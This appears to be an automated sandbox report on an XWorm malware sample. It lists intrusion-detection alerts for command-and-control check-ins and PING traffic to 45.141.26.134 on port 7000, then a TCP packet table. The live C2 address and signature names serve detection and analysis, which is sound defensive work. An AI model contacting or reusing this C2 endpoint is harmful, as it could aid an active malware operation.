2025-01-02T20:11:23.644982+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:23.646730+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:34.690442+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:34.693564+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:42.219370+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:42.219370+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:45.738837+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:45.740564+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:52.504095+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:52.511003+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:52.758453+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:52.761193+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:53.105390+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:53.106955+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:53.367798+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:53.373032+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:53.704763+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:53.706918+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:54.008379+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:54.010187+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:04.298955+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:04.301023+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:04.550746+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:04.553882+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:07.553242+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:07.559405+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:09.815306+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:09.824146+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:12.233844+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:12.233844+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:20.862077+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:20.863919+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:31.003277+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:31.038289+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:33.398465+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:33.401114+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:34.044451+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:34.046611+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:34.741340+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:34.808116+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:42.242944+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:42.242944+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:45.087973+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:45.092117+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:49.055707+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:49.062009+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:00.289743+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:00.548341+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:03.768099+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:04.113728+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:04.117542+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:04.365467+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:04.367595+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:04.617818+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:04.867662+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:04.869779+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:05.120000+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:05.127576+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:05.368222+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:05.371999+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:07.949519+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:07.951331+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:12.243256+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:12.243256+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:16.191740+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:16.193694+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:16.443977+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:16.445731+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:16.702119+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:16.707242+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:21.456005+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:21.458190+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:21.708176+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:21.711092+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:27.714892+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:27.720042+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:28.054370+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:28.057618+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:37.593125+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:37.594968+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:37.844954+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:37.846765+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:38.098014+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:42.258000+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:42.258000+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:43.627823+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:43.629785+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:43.904524+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:43.906608+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:44.160027+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:44.167115+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:48.859152+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:48.860709+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:59.893250+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:59.895563+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:10.944950+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:10.946894+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:12.266281+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:12.266281+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:22.000824+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:22.006220+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:33.033756+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:33.035827+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:34.753676+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:34.755480+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:36.159844+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:36.161590+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:36.422305+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:36.428025+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:36.761761+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:36.763140+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:37.418583+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:37.459580+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:42.273490+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:42.273490+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:45.424958+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:45.425709+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:56.471933+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:56.472576+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:15:07.518618+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:15:07.519359+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:15:12.274248+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:15:12.274248+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.7	49740	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:10:43.976887941 CET	49712	80	192.168.2.7	208.95.112.1
Jan 2, 2025 20:10:43.981841087 CET	80	49712	208.95.112.1	192.168.2.7
Jan 2, 2025 20:10:43.981925964 CET	49712	80	192.168.2.7	208.95.112.1
Jan 2, 2025 20:10:43.982323885 CET	49712	80	192.168.2.7	208.95.112.1
Jan 2, 2025 20:10:43.987169981 CET	80	49712	208.95.112.1	192.168.2.7
Jan 2, 2025 20:10:44.496450901 CET	80	49712	208.95.112.1	192.168.2.7
Jan 2, 2025 20:10:44.706563950 CET	80	49712	208.95.112.1	192.168.2.7
Jan 2, 2025 20:10:44.706690073 CET	49712	80	192.168.2.7	208.95.112.1
Jan 2, 2025 20:10:45.153687954 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:45.153734922 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:45.154021025 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:45.192215919 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:45.192267895 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:45.192321062 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:45.201284885 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:45.201306105 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:45.201735973 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:45.201776028 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:45.849663973 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:45.849826097 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:45.850461006 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:45.850548983 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:45.859088898 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:45.859251022 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:45.859886885 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:45.859977007 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.550931931 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.550955057 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.551424026 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.551518917 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.554675102 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.599338055 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.738893986 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.738910913 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.739576101 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.739661932 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.740370989 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.783346891 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.859555006 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.859647036 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.859658003 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.859694958 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.907107115 CET	49717	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.907138109 CET	443	49717	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.911122084 CET	49719	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.911163092 CET	443	49719	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.911339998 CET	49719	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.914737940 CET	49719	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:46.914752960 CET	443	49719	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:46.926528931 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:10:46.931305885 CET	80	49720	69.42.215.252	192.168.2.7
Jan 2, 2025 20:10:46.931540966 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:10:46.931766033 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:10:46.936530113 CET	80	49720	69.42.215.252	192.168.2.7
Jan 2, 2025 20:10:46.937047958 CET	49721	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:10:46.937077999 CET	443	49721	142.250.185.193	192.168.2.7
Jan 2, 2025 20:10:46.937199116 CET	49721	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:10:46.938055038 CET	49721	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:10:46.938070059 CET	443	49721	142.250.185.193	192.168.2.7
Jan 2, 2025 20:10:47.059638977 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:47.059757948 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.059777975 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:47.059916019 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.060046911 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.060095072 CET	443	49716	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:47.060195923 CET	49716	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.060694933 CET	49722	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:10:47.060739040 CET	443	49722	142.250.185.193	192.168.2.7
Jan 2, 2025 20:10:47.060833931 CET	49722	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:10:47.061017036 CET	49723	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.061063051 CET	443	49723	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:47.061135054 CET	49723	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.061155081 CET	49722	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:10:47.061167955 CET	443	49722	142.250.185.193	192.168.2.7
Jan 2, 2025 20:10:47.061589956 CET	49723	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.061605930 CET	443	49723	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:47.535732031 CET	80	49720	69.42.215.252	192.168.2.7
Jan 2, 2025 20:10:47.535887957 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:10:47.568854094 CET	443	49719	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:47.569026947 CET	49719	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.569612026 CET	49719	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.569623947 CET	443	49719	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:47.572463989 CET	49719	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:10:47.572472095 CET	443	49719	142.250.74.206	192.168.2.7
Jan 2, 2025 20:10:47.586441994 CET	443	49721	142.250.185.193	192.168.2.7
Jan 2, 2025 20:10:47.586546898 CET	49721	443	192.168.2.7	142.250.185.193
